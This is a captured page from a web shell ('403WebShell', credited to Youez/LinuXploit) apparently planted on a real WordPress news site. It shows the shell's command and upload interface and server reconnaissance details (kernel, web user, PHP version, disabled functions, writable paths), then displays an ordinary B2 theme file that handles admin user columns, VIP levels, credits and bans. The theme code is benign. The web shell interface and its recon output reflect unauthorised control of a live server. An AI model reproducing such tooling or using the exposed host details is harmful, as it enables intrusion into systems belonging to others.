AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor

403WebShell
403Webshell
Server IP : dzynews.com  /  Your IP : 216.73.217.105
Web Server : nginx/1.30.3
System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 8.2.31
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Modules/Settings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Modules/Settings/Users.php
<?php namespace B2\Modules\Settings;

use B2\Modules\Common\User;

class Users{

    public function init(){
        add_filter( 'manage_users_columns', array($this,'modify_user_table' ),10,1);
        add_filter( 'manage_users_custom_column', array($this,'modify_user_table_row'), 10, 3 );

        if(current_user_can('administrator')){
            //用户页面metabox
            add_action( 'cmb2_admin_init', array($this,'register_user_profile_metabox' ),10,1);
            //add_action( 'admin_post_b2_user', array($this,'save_profile_form'), 10, 3 );
        

            add_action ( 'personal_options_update', array( $this, 'save_profile_form' ),10,1);
            add_action( 'edit_user_profile_update', array( $this, 'save_profile_form' ));
        }
        
        add_action('restrict_manage_users', array($this,'add_course_section_filter'));
        
        
        add_filter('pre_get_users', array($this,'filter_users_by_course_section'));

        add_filter( 'manage_users_sortable_columns', array($this,'user_column_sortable') );
        
        add_filter('manage_users_columns', [$this,'add_user_additional_column']);  
        add_action('manage_users_custom_column',  [$this,'show_user_additional_column_content'], 10, 3);  
    }

    // 添加额外的栏目  
    public function add_user_additional_column($columns) {  
        // $columns['user_nickname'] = '昵称';  
        // $columns['user_url'] = '网站';  
        // $columns['reg_time'] = '注册时间';  
        // $columns['signup_ip'] = '注册IP';  
        // $columns['last_login'] = '上次登录';  
        // $columns['user_phone'] = '手机号码';  
        // 打算将注册IP和注册时间、登录IP和登录时间合并显示,所以我注销下面两行  
        /*$columns['signup_ip'] = '注册IP';*/  
        $columns['last_login_ip'] = '最后登录IP';  
        unset($columns['name']);//移除“姓名”这一栏,如果你需要保留,删除这行即可  
        return $columns;  
    }  
    //显示栏目的内容  

    public function show_user_additional_column_content($value, $column_name, $user_id) {  
        $user = get_userdata( $user_id );  
        // 输出“手机号码”  
        // if ( 'user_phone' == $column_name )  
        //     return $user->phone; 
        //输出“昵称”  
        // if ( 'user_nickname' == $column_name )  
        //     return $user->nickname;  
        // 输出用户的网站  
        // if ( 'user_url' == $column_name )  
        //     return '<a href="'.$user->user_url.'" target="_blank">'.$user->user_url.'</a>';  
        // 输出注册时间和注册IP  
        if('reg_time' == $column_name ){  
            return get_date_from_gmt($user->user_registered) ;  
        }  
         // 输出注册时间和注册IP  
        if('signup' == $column_name ){  
            return get_user_meta( $user->ID, 'signup_ip', true);  
        }  
        // 输出最近登录时间和登录IP  
        // if ( 'last_login' == $column_name && $user->last_login ){  
        //     return get_user_meta( $user->ID, 'last_login', true );  
        // }  
    
        // 输出最近登录时间和登录IP  
        if ( 'last_login_ip' == $column_name ){  
            return get_user_meta( $user->ID, 'last_login_ip', true );  
        }  
        return $value;  
    }  

    function user_column_sortable( $columns ) {
        return wp_parse_args( array( 
            'id'=>'id',
            'registration_date' => 'registered',
            'a_username' => 'display_name',
            'user_lv' => 'user_lv',
            'user_lv_end'=>'user_lv_end'
         ), $columns );
    }

    public function b2_column_orderby($vars){
        if ( isset( $vars['orderby'] ) && 'zrz_lv' == $vars['orderby'] ) {
            $vars = array_merge( $vars, array(
                'meta_key' => 'zrz_vip',
                'orderby' => 'meta_value'
            ) );
        }

        if ( isset( $vars['orderby'] ) && 'a_username' == $vars['orderby'] ) {
            $vars = array_merge( $vars, array(
                'meta_key' => 'a_username',
                'orderby' => 'meta_value'
            ) );
        }
        return $vars;
    }

    public function add_course_section_filter() {

        $settings_vip = User::get_user_roles();

        $arr = array();

        if($settings_vip){
            foreach ($settings_vip as $k => $v) {
                if(strpos($k,'vip') !== false){
                    $arr[$k] = $v['name'];
                }
            }
        }

        if ( isset( $_REQUEST[ 'course_section' ]) ) {
            $section = $_REQUEST[ 'course_section' ];
            $section = !empty( $section[ 0 ] ) ? $section[ 0 ] : $section[ 1 ];
        } else {
            $section = -1;
        }
        echo ' <select name="course_section[]" style="float:none;margin-left:14px"><option value="">选择等级</option>';
        
        foreach ($arr as $k => $v) {
            $selected = $k == $section ? ' selected="selected"' : '';
            echo '<option value="' . $k . '"' . $selected . '>' . $v . '</option>';
        }
            
        echo '</select>';
        echo '<input type="submit" class="button" value="会员筛选">';
    }

    public function filter_users_by_course_section($query)
        {
            global $pagenow;
            if (is_admin() && 'users.php' == $pagenow) {
                $section = isset($_REQUEST[ 'course_section']) ? $_REQUEST[ 'course_section'][0] : '';

                if ($section) {
                    $meta_query = [['key' => 'zrz_vip','value' => $section, 'compare' => 'LIKE']];
                    $query->set('meta_key', 'zrz_vip');
                    $query->set('meta_query', $meta_query);
                }
            }
        }

    public function modify_user_table( $columns ) {
        unset( $columns['name'] ); // maybe you would like to remove default columns
        $columns['id'] = 'id';
        $columns['registration_date'] = __('注册日期','b2'); // add new
        $columns['a_username'] = __('昵称','b2');
        $columns['user_lv'] = __('会员','b2');
        $columns['user_lv_end'] = __('会员过期时间','b2');
        return $columns;
    
    }

    public function modify_user_table_row($row_output, $column_id_attr, $user ){

        switch ( $column_id_attr ) {
            case 'id':
                return $user;
                break;
            case 'registration_date' :
                return get_date_from_gmt(get_the_author_meta( 'registered', $user ),'Y-m-d H:i:s' );
                break;
            case 'a_username' :
                return '<a href="'.get_author_posts_url($user).'">'.get_the_author_meta('display_name', $user).'</a>';
                break;
            case 'user_lv' :
                $lv = User::get_user_lv($user);

                return $lv['vip']['icon'].' '.$lv['lv']['icon'];
            break;
            case 'user_lv_end':
                $vip_time = get_user_meta( $user,'zrz_vip_time',true);
                if(isset($vip_time['end'])){
                    if((int)$vip_time['end'] === 0){
                        return __('永不过期','b2');
                    }else{
                        return wp_date("Y-m-d H:i:s",$vip_time['end']);
                    }
                }

                return 'none';
            break;
            default:
            break;
        }
    
        return $row_output;
    }

    public function save_profile_form($user_id){

        if(!current_user_can('administrator')) return;
        
        $credit = (int)get_user_meta($user_id,'zrz_credit_total',true);
        if(isset($_REQUEST['zrz_credit_total']) && $credit !== (int)$_REQUEST['zrz_credit_total']){
            $credit = (int)$_REQUEST['zrz_credit_total'] - $credit;

            \B2\Modules\Common\Message::update_data([
                'date'=>current_time('mysql'),
                'from'=>0,
                'to'=>$user_id,
                'post_id'=>0,
                'msg'=>sprintf(__('管理员对您的积分进行了变更:${gold_page},变更原因:%s','b2'),$_REQUEST['zrz_rmb_change_why'] ? $_REQUEST['zrz_rmb_change_why'] : __('未注明','b2')),
                'type'=>'credit_change',
                'type_text'=>__('积分变更','b2')
            ]);

            \B2\Modules\Common\Gold::update_data([
                'date'=>current_time('mysql'),
                'to'=>$user_id,
                'gold_type'=>0,
                'post_id'=>0,
                'no'=>$credit,
                'msg'=>sprintf(__('管理员对您的积分进行了变更:${gold_page},变更原因:%s','b2'),$_REQUEST['zrz_rmb_change_why'] ? $_REQUEST['zrz_rmb_change_why'] : __('未注明','b2')),
                'type'=>'credit_change',
                'type_text'=>__('积分变更','b2')
            ]);

            //积分记录
            // \B2\Modules\Common\Message::add_message(array(
            //     'user_id'=>$user_id,
            //     'msg_type'=>14,
            //     'msg_read'=>0,
            //     'msg_date'=>current_time('mysql'),
            //     'msg_users'=>0,
            //     'msg_credit'=>$credit,
            //     'msg_credit_total'=>(int)$_REQUEST['zrz_credit_total'],
            //     'msg_key'=>'',
            //     'msg_value'=>$_REQUEST['zrz_rmb_change_why']
            // ));
        }

        $money = (float)get_user_meta($user_id,'zrz_rmb',true);

        if(isset($_REQUEST['zrz_rmb']) && $money != (float)$_REQUEST['zrz_rmb']){
            $money = (float)$_REQUEST['zrz_rmb'] - $money;

            $money_name = b2_get_option('normal_main','money_name');

            \B2\Modules\Common\Message::update_data([
                'date'=>current_time('mysql'),
                'from'=>0,
                'to'=>$user_id,
                'post_id'=>0,
                'msg'=>sprintf(__('管理员对您的%s进行了变更,变更原因:%s','b2'),$money_name,$_REQUEST['zrz_rmb_change_why'] ? $_REQUEST['zrz_rmb_change_why'] : __('未注明','b2')),
                'type'=>'credit_change',
                'type_text'=>sprintf(__('%s变更','b2'),$money_name)
            ]);

            \B2\Modules\Common\Gold::update_data([
                'date'=>current_time('mysql'),
                'to'=>$user_id,
                'gold_type'=>1,
                'post_id'=>0,
                'no'=>$money,
                'msg'=>sprintf(__('管理员对您的%s进行了变更,变更原因:%s','b2'),$money_name,$_REQUEST['zrz_rmb_change_why'] ? $_REQUEST['zrz_rmb_change_why'] : __('未注明','b2')),
                'type'=>'credit_change',
                'type_text'=>sprintf(__('%s变更','b2'),$money_name)
            ]);

            //金额记录
            // \B2\Modules\Common\Message::add_message(array(
            //     'user_id'=>$user_id,
            //     'msg_type'=>37,
            //     'msg_read'=>0,
            //     'msg_date'=>current_time('mysql'),
            //     'msg_users'=>0,
            //     'msg_credit'=>$money,
            //     'msg_credit_total'=>(float)$_REQUEST['zrz_rmb'],
            //     'msg_key'=>'',
            //     'msg_value'=>$_REQUEST['zrz_rmb_change_why']
            // ));
        }

        if(isset($_REQUEST['zrz_vip'])){
            $lv = get_user_meta($user_id,'zrz_vip',true);
            $lv = $lv ? $lv : false;

            $count = get_option('b2_vip_count');
            $count = is_array($count) ? $count : array();

            if($lv && $_REQUEST['zrz_vip'] !== $lv){
                if(isset($count[$lv])){
                    $count[$lv]--;
                }

                if(isset($count[ $_REQUEST['zrz_vip']])){
                    $count[$_REQUEST['zrz_vip']]++;
                }
                
            }
            
            if($_REQUEST['zrz_vip'] !== $lv){
                delete_user_meta($user_id,'b2_download_count');
            }

            update_option('b2_vip_count',$count);
            
            // $vip_time = get_user_meta($user_id,'zrz_vip_time',true);
            // if(isset($vip_time['end']) && isset($_REQUEST['zrz_vip_end_time']) && (int)$vip_time['end'] !== (int)$_REQUEST['zrz_vip_end_time']){
            //     $vip_time['end'] = $_REQUEST['zrz_vip_end_time'];

            //     update_user_meta($user_id,'zrz_vip_time',true);
            // }
        }

        if(isset($_REQUEST['zrz_lv'])){
            $lv = get_user_meta($user_id,'zrz_lv',true);
            $lv = $lv ? $lv : false;

            if($_REQUEST['zrz_lv'] !== $lv){
                delete_user_meta($user_id,'b2_download_count');
            }
        }

        if(isset($_REQUEST['b2_dark_room']) && $_REQUEST['b2_dark_room']){
            
            $days = get_user_meta($user_id,'b2_dark_room_days',true);

            if($_REQUEST['b2_dark_room_days'] != $days){
                User::put_dark_room($user_id,$_REQUEST['b2_dark_room_days'],$_REQUEST['b2_dark_room_why']);
            }

            //记录更新时间
            update_user_meta($user_id,'b2_user_update_date',current_time('mysql'));
        }

        if(isset($_REQUEST['zrz_vip_end_time']) && $_REQUEST['zrz_vip_end_time'] !== ''){

            if($_REQUEST['zrz_vip']){
                $vip_time = get_user_meta($user_id,'zrz_vip_time',true);
                $vip_time = is_array($vip_time) ? $vip_time : array(
                    'start'=> wp_strtotime(current_time( 'mysql' )),
                    'end'=>''
                );


                // var_dump($vip_time);

                // var_dump(strtotime($_REQUEST['zrz_vip_end_time']));

                //if($vip_time['end'] === strtotime($_REQUEST['zrz_vip_end_time'])) return;

                if($_REQUEST['zrz_vip_end_time'] && $_REQUEST['zrz_vip_end_time'] != '9999-01-01'){

                    $vip_time['end'] = wp_strtotime($_REQUEST['zrz_vip_end_time']);
                }else{
                    $vip_time['end'] = 0;
                }

             
                update_user_meta($user_id,'zrz_vip_time',$vip_time);
            }
            
        }

        wp_cache_delete('b2_user_'.$user_id,'b2_user_custom_data');
        wp_cache_delete('b2_user_'.$user_id,'b2_user_data');

    }

    public function register_user_profile_metabox(){
        $user = new_cmb2_box( array(
            'id'               => 'b2_user_page',
            'title'            => __( '用户页面', 'b2' ), // Doesn't output for user boxes
            'option_key'      => 'b2_user',
            'object_types'     => array( 'user' ), // Tells CMB2 to use user_meta vs post_meta
            'show_names'       => true,
            'new_user_section' => 'add-new-user', // where form will show on new user page. 'add-existing-user' is only other valid option.
        ) );

        $user->add_field( array(
            'name'             => __( '用户积分', 'b2' ),
            'id'               => 'zrz_credit_total',
            'type'             => 'input',
            'desc'=>__('积分变更以后,用户登录以后或者访问此用户个人主页会重新计算等级','b2')
        ) );

        $user->add_field( array(
            'name'             => sprintf(__( '用户%s', 'b2' ),B2_MONEY_NAME),
            'id'               => 'zrz_rmb',
            'type'             => 'text_money',
            'sanitization_cb' => 'b2_sanitize_number',
            'before_field' => B2_MONEY_SYMBOL
        ) );

        $user->add_field( array(
            'name'             => sprintf(__( '积分或%s变更原因', 'b2' ),B2_MONEY_NAME),
            'id'               => 'zrz_rmb_change_why',
            'type'             => 'textarea_small',
            'desc'=>sprintf(__('当用户的积分或%s有变更的时候,可以在此备注原因,用户的通知或财富中将会显示变更原因','b2'),B2_MONEY_NAME)
        ) );

        $lvs = \B2\Modules\Common\User::get_user_roles();
        
        $lv = array();
        $vip = array();

        foreach ($lvs as $k => $v) {
            if(strpos($k,'vip') !== false){
                $vip[$k] = $v['name']; 
            }

            if(strpos($k,'lv') !== false){
                $lv[$k] = $v['name'];
            }
        }

        $user->add_field( array(
            'name'             => __( '普通等级', 'b2' ),
            'id'               => 'zrz_lv',
            'type'             => 'select',
            'show_option_none' => true,
            'options'          =>  $lv,
            'desc'=>__('等级会根据用户当前的积分进行计算,如果您设置的等级小于此用户当前积分所在的等级,将不会生效','b2')
        ) );

        $user->add_field( array(
            'name'             => __( 'VIP等级', 'b2' ),
            'id'               => 'zrz_vip',
            'type'             => 'select',
            'show_option_none' => true,
            'options'          => $vip,
        ) );

        $end_time = '';
        
        $user_id = get_current_user_id();

        if(isset($_REQUEST['user_id'])){
            $user_id = $_REQUEST['user_id'];
        }
        $vip_time = get_user_meta($user_id,'zrz_vip_time',true);

        if(isset($vip_time['end'])){
            if((int)$vip_time['end'] === 0){
                $end_time = '9999-01-01';
            }else{
                $end_time = wp_date("Y-m-d",$vip_time['end']);
            }
        }

        $user->add_field( array(
            'name'             => __( 'VIP过期时间', 'b2' ),
            'id'               => 'zrz_vip_end_time',
            'type'             => 'text_date_timestamp',
            'default'=>$end_time ? $end_time : '',
            'save_field' => false,
            'date_format' => 'Y-m-d',
            'desc'=>__('请填写会员的过期时间,如果永不过期,请填写0或者9999-01-01')
        ) );

        // $user_id = isset($_REQUEST['user_id']) ? (int)$_REQUEST['user_id'] : 0;

        // $vip_time = get_user_meta($user_id,'zrz_vip_time',true);

        // $user->add_field( array(
        //     'before_row'=>'<div id="vip-end-time">',
        //     'name'             => __( '自定义会员到期时间', 'b2' ),
        //     'id'               => 'zrz_vip_end_time',
        //     'type'             => 'text',
        //     'default'=>isset($vip_time['end']) ? $vip_time['end'] : 0,
        //     'desc'=>sprintf(__('会员到期时间为 Unix timestamp 格式,请将时间%s转换为 Unix timestamp 时间戳格式%s后填入此处,如果此会员永久有效,请直接填0。'),'<a href="https://tool.chinaz.com/tools/unixtime.aspx" target="_blank">','</a>'),
        //     'after_row'=>'</div>',
        // ) );

        $user->add_field( array(
            'name'             => __( '用户是否为分销员', 'b2' ),
            'id'               => 'b2_distribution',
            'type'             => 'select',
            'options'          => array(
                0=>__('不是分销员','b2'),
                1=>__('是分销员','b2')
            ),
            'default'=>0,
            'desc'=>__('当设置用户为分销员,开启分销的情况下,用户会有自己的专属分销连接和分销管理页面')
        ) );

        $user->add_field( array(
            'name'             => __( '分销比例', 'b2' ),
            'id'               => 'b2_distribution_ratio',
            'type'             => 'select',
            'options'          => array(
                0=>__('使用全局设置','b2'),
                1=>__('单独设置','b2')
            ),
            'default'=>0,
            'desc'=>sprintf(__('使用全局设置,将会使用%s全局设置%s的分销比例,如果单独设置,将会使用下面的单独设置的分销比例','b2'),'<a href="'.admin_url('/admin.php?page=b2_distribution_main').'" target="_blank">','</a>')
        ) );

        $user->add_field(array(
            'before_row'=>'<div class="set-hidden" id="distribution">',
            'name'    => __( '一级推广提成比例', 'b2' ),
            'id'=>'b2_distribution_lv1',
            'type' => 'text',
            'default'=>0.1,
            'desc'=>__('请填写数字,比如0.1就是10%','b2')
        ));

        $user->add_field(array(
            'name'    => __( '二级推广提成比例', 'b2' ),
            'id'=>'b2_distribution_lv2',
            'type' => 'text',
            'default'=>0.05,
            'desc'=>__('填0则不启用二级推广,请填写数字,比如0.05就是5%','b2')
        ));

        $user->add_field(array(
            'name'    => __( '三级推广提成比例', 'b2' ),
            'id'=>'b2_distribution_lv3',
            'type' => 'text',
            'default'=>0.03,
            'desc'=>__('填0则不启用三级推广,请填写数字,比如0.03就是3%','b2'),
            'after_row'=>'</div>'
        ));

        $user->add_field( array(
            'name'             => __( '小黑屋', 'b2' ),
            'id'               => 'b2_dark_room',
            'type'             => 'select',
            'options'          => array(
                0=>__('自由人','b2'),
                1=>__('关进小黑屋')
            ),
            'default'=>0
        ) );

        $user->add_field( array(
            'before_row'=>'<div class="set-hidden" id="dark-room">',
            'name'             => __( '关进小黑屋的原因', 'b2' ),
            'id'               => 'b2_dark_room_why',
            'type'             => 'textarea',
            'desc'=>__('关进小黑屋的原因。'),
        ) );

        $user->add_field( array(
            'name'             => __( '关进小黑屋天数', 'b2' ),
            'id'               => 'b2_dark_room_days',
            'type'             => 'input',
            'default'=>'',
            'desc'=>__('关进小黑屋之后多少天成为自由人。如果设置成0,将永久关进小黑屋。'),
            'after_row'=>'</div>',
        ) );

    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit